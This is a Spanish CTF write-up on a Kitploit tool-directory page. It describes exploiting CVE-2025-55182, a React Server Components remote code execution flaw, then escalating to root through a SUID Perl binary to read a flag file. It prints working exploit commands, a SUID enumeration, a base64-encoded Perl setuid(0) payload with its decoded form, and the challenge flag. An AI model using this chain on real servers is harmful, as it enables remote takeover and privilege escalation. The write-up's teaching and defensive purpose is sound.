Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Explosive-As-Hell-MCS-Qualifer-Web-500 — [First-Blood-XO] Punto final de React Server Component vulnerable a CVE-2025-55182 (RCE) → enumeró binarios SUID → /usr/bin/perl tenía SUID establecido → usó POSIX setuid(0) de Perl para escalar a root → leyó /root/flag.txt | Kitploit
Herramientas/GitHubGitHub/abdullahmaqbool22/explosive-as-hell-mcs-qualifer-web-500
Escalada de PrivilegiosReconocimientoAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebCTFPruebas de PenetraciónAprendizaje y EducaciónExplotación de Binarios

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Labs y Práctica
GitHubabdullahmaqbool22/explosive-as-hell-mcs-qualifer-web-500

Explosive-As-Hell-MCS-Qualifer-Web-500

[First-Blood-XO] Punto final de React Server Component vulnerable a CVE-2025-55182 (RCE) → enumeró binarios SUID → /usr/bin/perl tenía SUID establecido → usó POSIX setuid(0) de Perl para escalar a root → leyó /root/flag.txt

Ver Repositorio
1hace 4 mesesAún no revisado

CVE-2025-55182 — Componentes del Servidor React RCE | Writeup de CTF

Categoría: Explotación Web | Dificultad: Media | Vulnerabilidad: Ejecución Remota de Código → Escalada de Privilegios SUID


TL;DR

El endpoint de Componentes del Servidor React vulnerable a CVE-2025-55182 (RCE) → enumeró binarios SUID → /usr/bin/perl tenía SUID configurado → usó setuid(0) de POSIX de Perl para escalar a root → leyó /root/flag.txt.

Bandera: MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}


Paso 1 — Reconocimiento

Objetivo: http://challenge.cybermesh.site:30035/

El objetivo era una aplicación web basada en React que utilizaba Componentes del Servidor React (RSC) — una arquitectura relativamente nueva que ejecuta componentes del lado del servidor y transmite la salida serializada de vuelta al cliente a través de un formato de cable personalizado.

Esta arquitectura introduce un límite de ejecución del lado del servidor. El manejo inadecuado de la entrada en ese límite es exactamente lo que explota CVE-2025-55182.


Paso 2 — Vulnerabilidad: CVE-2025-55182

Componentes del Servidor React RCE — El servidor no sanitiza la entrada controlada por el usuario antes de que llegue a la capa de ejecución de componentes del lado del servidor. Esto permite a un atacante inyectar comandos de shell a nivel de SO que se ejecutan en el contexto del proceso Node.js.

Flujo de ataque:

  1. El atacante crea un payload malicioso de RSC
  2. El servidor deserializa la entrada y pasa valores no sanitizados a una función de componente del servidor
  3. El comando del SO se ejecuta, la salida se transmite de vuelta en la respuesta RSC
  4. El atacante lee la salida del comando desde el cuerpo de la respuesta

Paso 3 — Configuración del Exploit

Existe un PoC público para este CVE:

root@kitploit:~
git clone https://github.com/surajhacx/react2shellpoc.git
cd react2shellpoc

Verificación inicial — confirmando RCE y contexto de ejecución:

root@kitploit:~
python exploit.py -t http://challenge.cybermesh.site:30035/ -c "whoami"

Salida:

root@kitploit:~
[+] EXPLOITATION SUCCESSFUL

  ► app

El servidor se ejecuta como usuario app. No es root — se requiere escalada.


Paso 4 — Enumeración SUID

Escaneando binarios SUID:

root@kitploit:~
python exploit.py -t http://challenge.cybermesh.site:30035/ \
  -c "find /bin /usr/bin /sbin /usr/sbin -perm -4000 2>/dev/null || true"

Salida:

root@kitploit:~
[+] EXPLOITATION SUCCESSFUL

  ► /usr/bin/gpasswd
  ► /usr/bin/perl       <--- !!!
  ► /usr/bin/chsh
  ► /usr/bin/su
  ► /usr/bin/chfn
  ► /usr/bin/umount
  ► /usr/bin/mount
  ► /usr/bin/passwd
  ► /usr/bin/newgrp

/usr/bin/perl tiene el bit SUID configurado. Este es un GTFOBin bien conocido — cuando Perl es propiedad de root y tiene SUID, se ejecuta con privilegios de root independientemente de quién lo invoque.


Paso 5 — Escalada de Privilegios a través de SUID Perl

Se construyó un payload de Perl codificado en base64 que:

  • Establece el PATH
  • Llama a POSIX::setuid(0) para escalar a root
  • Abre y lee /root/flag.txt

Entregado a través del endpoint RCE:

root@kitploit:~
python exploit.py \
  -t http://challenge.cybermesh.site:30035/ \
  -c "echo dXNlIFBPU0lYOyRFTlZ7UEFUSH09Jy9iaW46L3Vzci9iaW4nO3NldHVpZCgwKTtvcGVuKG15JHZkQzlmbGFnLCc8JywgJy9yb290L2ZsYWcudHh0Jyk7cHJpbnQgd2hpbGUoPCR2ZEM+KTs= | base64 -d > /tmp/p.pl && /usr/bin/perl /tmp/p.pl"

El payload decodificado es aproximadamente:

root@kitploit:~
use POSIX;
$ENV{PATH}='/bin:/usr/bin';
setuid(0);
open(my $vdC9flag,'<', '/root/flag.txt');
print while(<$vdC9flag>);

Salida:

root@kitploit:~
[+] EXPLOITATION SUCCESSFUL

  ► MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}

Bandera

root@kitploit:~
MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}

Conclusiones Clave

1. La superficie de ataque de RSC está subestimada. Los Componentes del Servidor React son un nuevo paradigma. Muchos despliegues no han sido endurecidos contra la inyección de entrada en el límite del componente del servidor. Este CVE es un recordatorio de que el 'renderizado del lado del servidor' no es inherentemente seguro — el límite de ejecución aún necesita una sanitización adecuada.

2. SUID en tiempo de ejecución de scripting = root instantáneo. /usr/bin/perl con SUID es una mala configuración de libro. GTFOBins lo cubre en detalle. Nunca configure el bit SUID en lenguajes de scripting (Perl, Python, Ruby, etc.) — a diferencia de los binarios compilados diseñados para SUID (su, passwd), estos entornos ofrecen rutas de escalada triviales.

3. La bandera es consciente de sí misma. SU1D_AR3_FUN_BUT_N0T_EVERYTIM3 — el desafío fue explícitamente diseñado alrededor de SUID Perl como la ruta de escalada prevista. Cadena limpia.


Resumen de la Cadena de Ataque

root@kitploit:~
CVE-2025-55182 (RSC RCE)
    └─> whoami → usuario "app"
    └─> encontrar binarios SUID
    └─> /usr/bin/perl (SUID root) identificado
    └─> payload Perl en base64 → escribir en /tmp/p.pl
    └─> SUID perl /tmp/p.pl → setuid(0) → cat /root/flag.txt
    └─> BANDERA ✓

Referencias

  • github.com/surajhacx/react2shellpoc
  • GTFOBins — perl SUID
  • NVD — CVE-2025-55182

Escrito por Abdullah Maqbool — Ingeniero de Pruebas de Penetración @ TISS | CRTA · CRTOM · CompTIA PenTest+

Descargar herramienta